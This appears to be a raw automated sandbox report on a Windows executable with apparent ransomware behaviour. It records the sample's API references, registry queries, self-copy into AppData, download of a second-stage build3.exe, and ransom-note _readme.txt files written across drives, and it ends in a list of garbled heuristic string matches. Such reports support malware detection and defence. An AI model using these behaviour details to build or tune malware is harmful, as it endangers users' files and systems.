"FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (UID: 00000000-00001252) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (UID: 00000000-00001252) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, USERDNSDOMAIN, FPS_BROWSER_USER_PROFILE_STRING, PROCESSOR_ARCHITEW6432" Process "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (UID: 00000000-00003740) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", PROCESSOR_ARCHITEW6432="AMD64"" Process "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (UID: 00000000-00003740) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS"44:T54c,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005112.00000002.155651.05810000.00000004.mdmp")45:T9e2,"xusb22.inf" has type "Unicode text UTF-16 little-endian text with very long lines (3309) with no line terminators" "bthpan.inf" has type "Unicode text UTF-16 little-endian text with very long lines (3137) with no line terminators" "msgpiowin32.inf" has type "Unicode text UTF-16 little-endian text with very long lines (3108) with no line terminators" "basicdisplay.inf" has type "Unicode text UTF-16 little-endian text with very long lines (2436) with no line terminators" "mgtdyn.inf" has type "Unicode text UTF-16 little-endian text with very long lines (2280) with no line terminators" "hidbth.inf" has type "Unicode text UTF-16 little-endian text with very long lines (2242) with no line terminators" "bthprint.inf" has type "Unicode text UTF-16 little-endian text with very long lines (2170) with no line terminators" "basicrender.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1921) with no line terminators" "display.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1879) with no line terminators" "vhdmp.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1855) with no line terminators" "urschipidea.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1804) with no line terminators" "npsvctrig.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1671) with no line terminators" "ndisuio.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1657) with no line terminators" "urssynopsys.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1573) with no line terminators" "netnb.inf" has type "Unicode text UTF-16 little-endian text with very long lines (1243) with no line terminators" "hidvhf.inf" has type "Unicode text UTF-16 little-endian text with very long lines (694) with NEL line terminators" "c_linedisplay.inf" has type "Unicode text UTF-16 little-endian text with very long lines (516) with no line terminators" "c_cashdrawer.inf" has type "Unicode text UTF-16 little-endian text with very long lines (512) with no line terminators" "c_barcodescanner.inf" has type "Unicode text UTF-16 little-endian text with very long lines (511) with no line terminators" "c_magneticstripereader.inf" has type "Unicode text UTF-16 little-endian text with very long lines (506) with no line terminators" "c_receiptprinter.inf" has type "Unicode text UTF-16 little-endian text with very long lines (499) with no line terminators"46:T7d3,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\DISABLE8AND16BITMITIGATION"; Key: ""; Value: "")47:Te67,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "433E3A2B3CD8F3ECCD71B97DED3862EF10DD94D94CB59925B7AB6F88358CD614.EXE"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "")48:T52e,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "c:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "c:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe:zone.identifier" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "c:\users\%osuser%\desktop\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "c:\users\%osuser%\documents\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "c:\users\%osuser%\music\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "c:\users\%osuser%\pictures\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "c:\users\%osuser%\videos\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "c:\users\%osuser%\downloads\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "c:\users\%osuser%\onedrive\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "c:\users\%osuser%\appdata\local\bowsakkdestx.txt"49:T58d,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to touch file "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to touch file "C:\WINHTTP.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to touch file "C:\Windows\SysWOW64\winhttp.dll" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to touch file "C:\Windows\SysWOW64\win32u.dll" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to touch file "C:\Windows\SysWOW64\ucrtbase.dll"4a:T6d8,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\get[1].php" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\build3[1].exe" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\get[1].php" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\build3[1].exe"4b:Ta32,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\WINHTTP.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\FLTLIB.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\MSIMG32.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\msimg32.dll" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\MPR.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\WININET.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\WINMM.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\IPHLPAPI.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\DNSAPI.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\WINMMBASE.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\IERTUTIL.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\iertutil.dll" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\URLMON.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\urlmon.dll" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\BCRYPT.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\bcrypt.dll" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\DPAPI.DLL" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433E3A2B3CD8F3ECCD71B97DED3862EF10DD94D94CB59925B7AB6F88358CD614.EXE"4c:T42d,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\APFHQ" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\apfHQ" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\BOWSAKKDESTX.TXT" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "Z:\" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\_README.TXT" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\_readme.txt" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" trying to access non-existent file "C:\Config.Msi\_README.TXT"4d:T9f5,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\users\%osuser%\appdata\local\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\users\%osuser%\appdata\local\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe:zone.identifier" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "%localappdata%\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe:zone.identifier" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "%localappdata%\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\inetcache\ie\lscby323\get[1].php" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\users\%osuser%\appdata\local\bowsakkdestx.txt" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\systemid\personalid.txt" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "\device\namedpipe\wkssvc" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\inetcache\ie\lscby323\build3[1].exe" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\users\%osuser%\appdata\local\5f84ace5-27d6-428f-a563-af4a01c6689e\build3.exe" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\_readme.txt" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\config.msi\_readme.txt" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\found.000\_readme.txt" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\tempdir\_readme.txt" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\torservice\_readme.txt" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\found.000\dir0000.chk\_readme.txt" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" writes file "c:\found.000\dir0001.chk\_readme.txt"4e:T820,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00000260-00000C2A-1376128373") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "5106534132,7900,3230,,InternetReadFile,Wininet.dll,"00:39:29.187",RX=0,PX=0" (Indicator: "InternetReadFile"; Source: "00000000-00005112.00000000.151810.02BF0000.00000004.mdmp")4f:T504,Found string "C:\Build-OpenSSL-VC-32/lib/engines" (Indicator: "openssl-"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/private" (Indicator: "openssl-"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl" (Indicator: "openssl-"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/certs" (Indicator: "openssl-"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/cert.pem" (Indicator: "openssl-"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")50:T28f9,Heuristic match: "yi.gs" Heuristic match: "p0t.kw" Heuristic match: "ux.af" Heuristic match: "]o;.cm" Heuristic match: "us.nu" Heuristic match: "mr.st" Heuristic match: "k(q.aw" Pattern match: "crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0h" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "kq.mls/orw}]'myk^wq7v" Pattern match: "j.vdwi/kbcnu$c`*ejy\7qpik}q" Pattern match: "v.ehd/hkfp\,my5tdkbgm;ulspsr?`/qr8&~{,5" Pattern match: "k.pw/'b~b73pej6c=c4" Pattern match: "pkx.zz/h^8j!|[-0!3ul.}+0jluf8cp-tg\bzlmagc]6mug" Pattern match: "a.id/5dgz&ux.q3wkq=*?#6cea~e%tre!h34mq2!-" Pattern match: "gltwyki.sgi/1|{@ofj]8" Pattern match: "c.vz/@.7iww:sf" Pattern match: "pwpx.nts/da/d" Pattern match: "y.aho/#srvyfbg" Pattern match: 